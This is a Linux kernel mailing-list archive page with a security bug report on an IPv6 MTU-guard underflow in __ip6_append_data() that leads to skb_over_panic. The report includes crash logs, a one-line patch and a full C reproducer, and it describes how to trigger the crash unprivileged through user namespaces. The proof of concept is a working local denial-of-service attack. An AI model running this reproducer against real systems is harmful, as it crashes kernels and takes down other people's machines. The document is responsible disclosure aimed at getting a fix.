From: 平之 <treebacker@foxmail.com>
To: netdev <netdev@vger.kernel.org>
Cc: "David S. Miller" <davem@davemloft.net>,
YOSHIFUJI <yoshfuji@linux-ipv6.org>, Ahern <dsahern@kernel.org>,
stable <stable@vger.kernel.org>, security <security@kernel.org>
Subject: ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)
Date: Mon, 26 Oct 2026 18:54:50 +0800 [thread overview]
Message-ID: <tencent_B58BAE2F5FF485D1B4F652E9980EAB132A09@qq.com> (raw)
To: netdev@vger.kernel.org
Cc: "David S. Miller" <davem@davemloft.net>,
Hideaki YOSHIFUJI <yoshfuji@linux-ipv6.org>,
David Ahern <dsahern@kernel.org>,
stable@vger.kernel.org,
security@kernel.org
Subject: ipv6: skb_over_panic in __ip6_append_data() when
mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12)
Hi David, Hideaki, David,
While auditing __ip6_append_data() I found that one half of its MTU
guard has been dead code since the initial git import, and that the
window it fails to close allows an unprivileged-triggerable
skb_over_panic (kernel BUG) with a single sendmsg() on a raw IPv6
socket. Reproduced on Ubuntu 7.3.0-9-generic (aarch64, QEMU virt);
the code is unchanged in v7.4-rc1.
The reproducer is ~170 lines of plain C (libc + kernel uapi headers
only), fully self-contained - it creates its own egress device - and
is inlined in section 6. A suggested one-line fix is in section 5.
For context: parts of the code audit were AI-assisted, but the
analysis and the crash below are mine, reproduced on a real system.
1. Affected versions
--------------------
The guard and the computation below it exist since 1da177e4c3f4
("Linux-2.6.12-rc2", initial git import, 2005).
Commit 5e34af4142ff ("net: ipv6: fix skb_over_panic in
__ip6_append_data", 2022, syzbot id 205d6f11) fixed the
mtu == fragheaderlen boundary of the first half of the guard, but
left the second half - which is dead code (see below) - untouched.
Still present in v7.4-rc1 (code inspection); reproduced on Ubuntu
7.3.0-9-generic. I diffed net/ipv6/ip6_output.c between v7.0 and
v7.4-rc1: the relevant expressions are unchanged.
2. Problem description
----------------------
The chain has four steps, all in net/ipv6/ip6_output.c (line numbers
from v7.3-rc5).
(a) Dead guard (:1502-1504):
fragheaderlen = sizeof(struct ipv6hdr) + rt->rt6i_nfheader_len +
(opt ? opt->opt_nflen : 0); /* >= 40 */
if (mtu <= fragheaderlen ||
((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
goto emsgsize;
The second condition can never be true: (x & ~7) is unsigned and
>= 0, and fragheaderlen >= sizeof(struct ipv6hdr) = 40 >
sizeof(struct frag_hdr) = 8, so the left side is always >= 40 and the
comparison against 8 never fires. Only the first half
(mtu <= fragheaderlen) actually guards anything.
(b) Underflow (:1506-1507):
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
sizeof(struct frag_hdr);
For mtu - fragheaderlen in [1,7], (x & ~7) == 0 and
maxfraglen = fragheaderlen - 8 < fragheaderlen.
(c) Clamp bypass (:1650-1654, inside the fragment loop):
datalen = length + fraggap;
if (datalen > (cork->length <= mtu ? mtu : maxfraglen) - fragheaderlen)
datalen = maxfraglen - fragheaderlen - rt->dst.trailer_len;
cork->length += length runs at :1614, before the loop, so on the
first sendmsg() with a payload larger than mtu the clamp boundary is
maxfraglen - fragheaderlen = (fragheaderlen - 8) - fragheaderlen
= 0xfffffff8 (unsigned int)
and no realistic datalen is ever greater than it: the clamp never
fires, so fraglen = datalen + fragheaderlen escapes the MTU
constraint entirely. Note this means a single sendmsg() suffices -
no multi-cork length climbing is needed, because cork->length
already includes the whole payload when the clamp runs.
(d) Allocation mismatch (:1668, :1721):
if ((flags & MSG_MORE) &&
!(rt->dst.dev->features & NETIF_F_SG))
alloclen = mtu; /* 1281 */
...
data = skb_put(skb, fraglen - pagedlen); /* 61280 */
skb_put() detects the overflow (tail 61304 > end 1728) and calls
skb_over_panic() -> BUG(). The overflow is caught before any write,
so this is a kernel BUG / local DoS, not silent memory corruption.
3. Trigger conditions
---------------------
* Raw IPv6 socket (CAP_NET_RAW; obtainable inside a user namespace).
* IPV6_MTU setsockopt = fragheaderlen + [1..7]. net/ipv6/sockglue.c
only rejects val && val < IPV6_MIN_MTU, so 1281 is accepted.
* A large HOPOPTS cmsg (requires ns_capable(CAP_NET_RAW)):
hdrlen = 154 gives opt_nflen = (154 + 1) * 8 = 1240, so
fragheaderlen = 40 + 1240 = 1280 and IPV6_MTU = 1281 puts the
difference at 1. The RFC 7112 first-fragment check
(headersize + transhdrlen > mtu) passes for raw sockets because
rawv6_sendmsg() passes transhdrlen = 0; UDP (transhdrlen = 8)
cannot reach this path.
* An egress route whose device does NOT have NETIF_F_SG. With SG
the data goes to the paged allocation path and nothing overflows.
Caveat for reproducers: nlmon looks like an obvious choice but
does NOT work - nlmon_setup() explicitly sets
NETIF_F_SG | NETIF_F_FRAGLIST | NETIF_F_HIGHDMA. SLIP
(features = 0) works; the reproducer below creates one itself via
a pty and the N_SLIP line discipline.
* A single sendmsg() with MSG_MORE and a payload larger than mtu.
4. Reproduced crash
-------------------
Ubuntu 7.3.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC, aarch64, QEMU
virt machine, running the reproducer from section 6 as root:
[ 37.607813] skbuff: skb_over_panic: text:ffffd5aad9272ba8 len:61280 put:61280 head:ffff00001f736000 data:ffff00001f736018 tail:0xef78 end:0x6c0 dev:<NULL>
[ 37.607855] ------------[ cut here ]------------
[ 37.607856] kernel BUG at net/core/skbuff.c:214!
[ 37.607865] Internal error: Oops - BUG: 00000000f2000800 [#1] SMP
[ 37.611485] CPU: 3 UID: 0 PID: 1378 Comm: ipv6_maxfraglen Not tainted 7.3.0-9-generic #9-Ubuntu PREEMPT(lazy)
[ 37.612619] pstate: 61400005 (nZCv daif +PAN -UAO -TCO +DIT -SSBS BTYPE=--)
[ 37.612619] pc : skb_panic+0x5c/0x60
[ 37.613172] sp : ffff800080ad3430
[ 37.614181] x21: 000000000000ea60 x22: 00000000000004f8
[ 37.616606] Call trace:
[ 37.616606] skb_panic+0x5c/0x60 (P)
[ 37.616778] skb_put+0x9c/0xa8
[ 37.616952] __ip6_append_data+0xf80/0x1948
[ 37.617172] ip6_append_data+0x94/0x2a8
[ 37.617363] rawv6_sendmsg+0x588/0x988
[ 37.617716] inet_sendmsg+0x4c/0xa8
[ 37.617891] ____sys_sendmsg+0x268/0x308
[ 37.618105] ___sys_sendmsg+0xb4/0x140
[ 37.618299] __sys_sendmsg+0xa8/0x140
The numbers match the analysis exactly:
put:61280 = 60000 (payload) + 1280 (fragheaderlen)
tail:0xef78 = 61304 = skb_reserve(24) + 61280
x21:0xea60 = 60000 (the unclamped payload length still in a register)
Negative control: the same reproducer with IPV6_MTU = 1288
(difference 8, outside [1,7]) does not crash.
5. Suggested fix
----------------
From: bo cao <treebacker@foxmail.com>
Date: Mon, 26 Oct 2026 17:30:00 +0800
Subject: [PATCH] ipv6: fix dead half of the MTU guard in
__ip6_append_data()
The second half of the MTU guard in __ip6_append_data() has been
dead code since the initial git import:
if (mtu <= fragheaderlen ||
((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
goto emsgsize;
(x & ~7) is unsigned and >= 0, and fragheaderlen >=
sizeof(struct ipv6hdr) = 40 > sizeof(struct frag_hdr) = 8, so the
second condition is always false. 5e34af4142ff ("net: ipv6: fix
skb_over_panic in __ip6_append_data") tightened the first half but
left the dead second half in place.
For mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen - 8
underflows below fragheaderlen. Every later bound computed as
maxfraglen - fragheaderlen wraps to 0xfffffff8, in particular the
datalen clamp inside the fragment loop, which then never fires:
fraglen escapes the MTU constraint. With MSG_MORE on an egress
device without NETIF_F_SG, alloclen = mtu while skb_put() is called
with fraglen, so a single sendmsg() on a raw IPv6 socket with a
large HOPOPTS cmsg and IPV6_MTU = fragheaderlen + 1 triggers:
skbuff: skb_over_panic: len:61280 put:61280 ...
kernel BUG at net/core/skbuff.c
skb_put __ip6_append_data ip6_append_data rawv6_sendmsg
Replace the dead expression with a direct check of the payload space
available for a fragment.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Signed-off-by: bo cao <treebacker@foxmail.com>
---
net/ipv6/ip6_output.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/net/ipv6/ip6_output.c b/net/ipv6/ip6_output.c
@@ -1498,7 +1498,7 @@ static int __ip6_append_data(struct sock *sk,
headersize = sizeof(struct ipv6hdr) +
(opt ? opt->opt_flen + opt->opt_nflen : 0) +
rt->rt6i_nfheader_len;
if (mtu <= fragheaderlen ||
- ((mtu - fragheaderlen) & ~7) + fragheaderlen <= sizeof(struct frag_hdr))
+ mtu - fragheaderlen <= sizeof(struct frag_hdr))
goto emsgsize;
maxfraglen = ((mtu - fragheaderlen) & ~7) + fragheaderlen -
--
2.x.x
(Line numbers from v7.3-rc5; hard tabs preserved in this message.)
Two notes on the fix:
- ip6_append_data_mtu() recomputes maxfraglen with the same formula
but is only reached after the entry guard has passed, so fixing
the guard is sufficient; I left it untouched to keep the patch
minimal.
- The residual window mtu - fragheaderlen in [9,15] still produces
zero-payload fragment loops that spin until the socket write
budget is exhausted (-ENOBUFS) - annoying, but not memory-unsafe.
If you prefer, the check could reject up to 15 instead of 8 to
also kill that wart; I kept the minimal form since the memory
unsafety ends at 8.
6. Reproducer
-------------
Self-contained C program (libc + kernel uapi headers only). It
creates its own SLIP egress device via a pty and the N_SLIP line
discipline (features = 0, no NETIF_F_SG), configures the route, and
issues the single trigger sendmsg(). Run as root (needs the slip
module; on Ubuntu: modprobe slip).
Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
Run: ./poc # crashes the kernel
Run on a test system only: on kernels with panic_on_oops this
panics the machine
// SPDX-License-Identifier: GPL-2.0
/*
* ipv6_maxfraglen_poc.c - skb_over_panic in __ip6_append_data()
*
* A single sendmsg(MSG_MORE) on a raw IPv6 socket triggers:
*
* skbuff: skb_over_panic: len:61280 put:61280 ...
* kernel BUG at net/core/skbuff.c (skb_panic)
* Call trace: skb_put <- __ip6_append_data <- ip6_append_data
* <- rawv6_sendmsg <- __sys_sendmsg
*
* Why (net/ipv6/ip6_output.c, unchanged since the 2005 initial import
* apart from the 2022 mtu == fragheaderlen fix):
*
* fragheaderlen = 40 (ipv6hdr) + opt_nflen (HOPOPTS cmsg)
* With mtu - fragheaderlen in [1,7], (x & ~7) == 0, so
* maxfraglen = fragheaderlen - 8 < fragheaderlen (underflow)
* The datalen clamp compares against
* maxfraglen - fragheaderlen == 0xfffffff8 (unsigned)
* so it never fires: fraglen = payload + fragheaderlen escapes the
* MTU constraint. On a !NETIF_F_SG egress device with MSG_MORE,
* alloclen = mtu (1281) but skb_put(fraglen = 61280) -> panic.
*
* Trigger values used here:
* IPV6_MTU = 1281, HOPOPTS hdrlen = 154 -> opt_nflen = 1240
* fragheaderlen = 1280, mtu - fragheaderlen = 1 (inside [1,7])
*
* The egress device must NOT have NETIF_F_SG (with SG the data goes
* to the paged path and nothing overflows; nlmon has SG and does not
* work). This PoC creates its own SLIP device (features = 0) via a
* pty with the N_SLIP line discipline.
*
* Build: gcc -O2 -Wall -o poc ipv6_maxfraglen_poc.c
* Run: ./poc (root; requires the slip module: modprobe slip)
*
* Negative control: change MTU_VAL to 1288 (difference 8, outside the
* window) - the same program returns quietly, no crash.
*/
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <dirent.h>
#include <errno.h>
#include <fcntl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#ifdef __linux__
#include <linux/tty.h>
#endif
#ifndef IPV6_MTU
#define IPV6_MTU 24
#endif
#ifndef TIOCSETD
#define TIOCSETD 0x5423
#endif
#ifndef N_SLIP
#define N_SLIP 1
#endif
#ifndef IPV6_HOPOPTS
#define IPV6_HOPOPTS 3
#endif
#ifndef MSG_MORE
#define MSG_MORE 0x8000
#endif
#define MTU_VAL 1281 /* fragheaderlen + 1 */
#define HBH_LEN 1240 /* (154 + 1) * 8 */
#define DST_ADDR "2001:db8:dead::1"
/* find the slX device created by the N_SLIP line discipline */
static int find_slipdev(char *buf, size_t sz)
{
struct dirent *e;
DIR *d = opendir("/sys/class/net");
buf[0] = 0;
if (!d)
return 0;
while ((e = readdir(d)))
if (!strncmp(e->d_name, "sl", 2) && e->d_name[2] >= '0' &&
e->d_name[2] <= '9') {
snprintf(buf, sz, "%s", e->d_name);
break;
}
closedir(d);
return buf[0] != 0;
}
int main(void)
{
static char payload[60000];
static char cbuf[CMSG_SPACE(HBH_LEN)];
struct sockaddr_in6 dst = { .sin6_family = AF_INET6 };
struct msghdr msg = { 0 };
struct cmsghdr *cmsg;
unsigned char *hbh;
char dev[IFNAMSIZ], cmd[256];
int fd, mtu = MTU_VAL, sfd, mfd, ldisc = N_SLIP;
/* 1. egress device without NETIF_F_SG: SLIP via pty + TIOCSETD */
if (system("modprobe slip 2>/dev/null") != 0)
fprintf(stderr, "modprobe slip failed, continuing anyway\n");
mfd = posix_openpt(O_RDWR | O_NOCTTY);
if (mfd < 0 || grantpt(mfd) < 0 || unlockpt(mfd) < 0) {
perror("posix_openpt");
return 1;
}
sfd = open(ptsname(mfd), O_RDWR | O_NOCTTY);
if (sfd < 0) {
perror("open pty slave");
return 1;
}
if (ioctl(sfd, TIOCSETD, &ldisc) < 0) {
perror("TIOCSETD(N_SLIP) - is the slip module loaded?");
return 1;
}
if (!find_slipdev(dev, sizeof(dev))) {
fprintf(stderr, "no sl* device appeared\n");
return 1;
}
printf("[+] egress device: %s (slip, features = 0, no NETIF_F_SG)\n", dev);
snprintf(cmd, sizeof(cmd), "ip link set %s mtu 1500 up", dev);
system(cmd);
snprintf(cmd, sizeof(cmd),
"ip -6 addr add 2001:db8:beef::1/64 dev %s 2>/dev/null", dev);
system(cmd);
snprintf(cmd, sizeof(cmd),
"ip -6 route replace 2001:db8:dead::/64 dev %s", dev);
system(cmd);
/* 2. raw IPv6 socket, cork MTU inside the [1,7] window */
fd = socket(AF_INET6, SOCK_RAW, 253);
if (fd < 0) {
perror("socket(SOCK_RAW)");
return 1;
}
if (setsockopt(fd, IPPROTO_IPV6, IPV6_MTU, &mtu, sizeof(mtu)) < 0) {
perror("setsockopt(IPV6_MTU)");
return 1;
}
/* 3. HOPOPTS cmsg: hdrlen = 154 -> opt_nflen = 1240
* (all-zero payload bytes are Pad1 options) */
memset(cbuf, 0, sizeof(cbuf));
cmsg = (struct cmsghdr *)cbuf;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
cmsg->cmsg_len = CMSG_LEN(HBH_LEN);
hbh = (unsigned char *)CMSG_DATA(cmsg);
hbh[0] = 0; /* nexthdr */
hbh[1] = 154; /* hdrlen */
if (inet_pton(AF_INET6, DST_ADDR, &dst.sin6_addr) != 1) {
perror("inet_pton");
return 1;
}
msg.msg_name = &dst;
msg.msg_namelen = sizeof(dst);
msg.msg_iov = &(struct iovec){ payload, sizeof(payload) };
msg.msg_iovlen = 1;
msg.msg_control = cbuf;
msg.msg_controllen = sizeof(cbuf);
printf("[*] IPV6_MTU = %d, fragheaderlen = 1280, difference = 1\n",
MTU_VAL);
printf("[*] sendmsg(MSG_MORE, 60000) - expect skb_over_panic\n");
fflush(stdout);
/* 4. one syscall is enough: cork->length already includes the
* full payload when the clamp runs, so it is bypassed */
if (sendmsg(fd, &msg, MSG_MORE) < 0)
fprintf(stderr, "[!] sendmsg returned %d (%s) - not triggered\n",
errno, strerror(errno));
/* sfd stays open: closing it would destroy the slip device */
return 2;
}
7. Unprivileged variant
-----------------------
The trigger itself only needs CAP_NET_RAW and a non-SG egress device,
both of which an unprivileged user can obtain inside a user + network
namespace (unshare -Urn), provided the slip module is already loaded
in the host kernel (module autoload is not possible from inside a
user namespace). I verified the code paths (sockglue.c accepts
IPV6_MTU; datagram.c checks ns_capable(net->user_ns, CAP_NET_RAW)
for the HOPOPTS cmsg) but ran the reproducer above as root.
Thanks,
bo cao
next reply other threads:[~2026-10-26 10:54 UTC|newest]
Thread overview: 6+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-26 10:54 平之 [this message]
2026-10-26 11:46 ` ipv6: skb_over_panic in __ip6_append_data() when mtu - fragheaderlen is in [1,7] (single sendmsg, since 2.6.12) Greg KH
[not found] ` <tencent_7454E65EE7BD1C085B6951A7D2305157370A@qq.com>
[not found] ` <2026102658-jockey-volley-94ff@gregkh>
2026-10-26 12:53 ` [PATCH net] ipv6: fix dead half of the MTU guard in __ip6_append_data() 平之
2026-10-26 12:56 ` netdev-bot+sinfo
2026-10-26 15:12 ` Willem de Bruijn
2026-10-26 15:19 ` Willem de Bruijn
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=tencent_B58BAE2F5FF485D1B4F652E9980EAB132A09@qq.com \
--to=treebacker@foxmail.com \
--cc=davem@davemloft.net \
--cc=dsahern@kernel.org \
--cc=netdev@vger.kernel.org \
--cc=security@kernel.org \
--cc=stable@vger.kernel.org \
--cc=yoshfuji@linux-ipv6.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox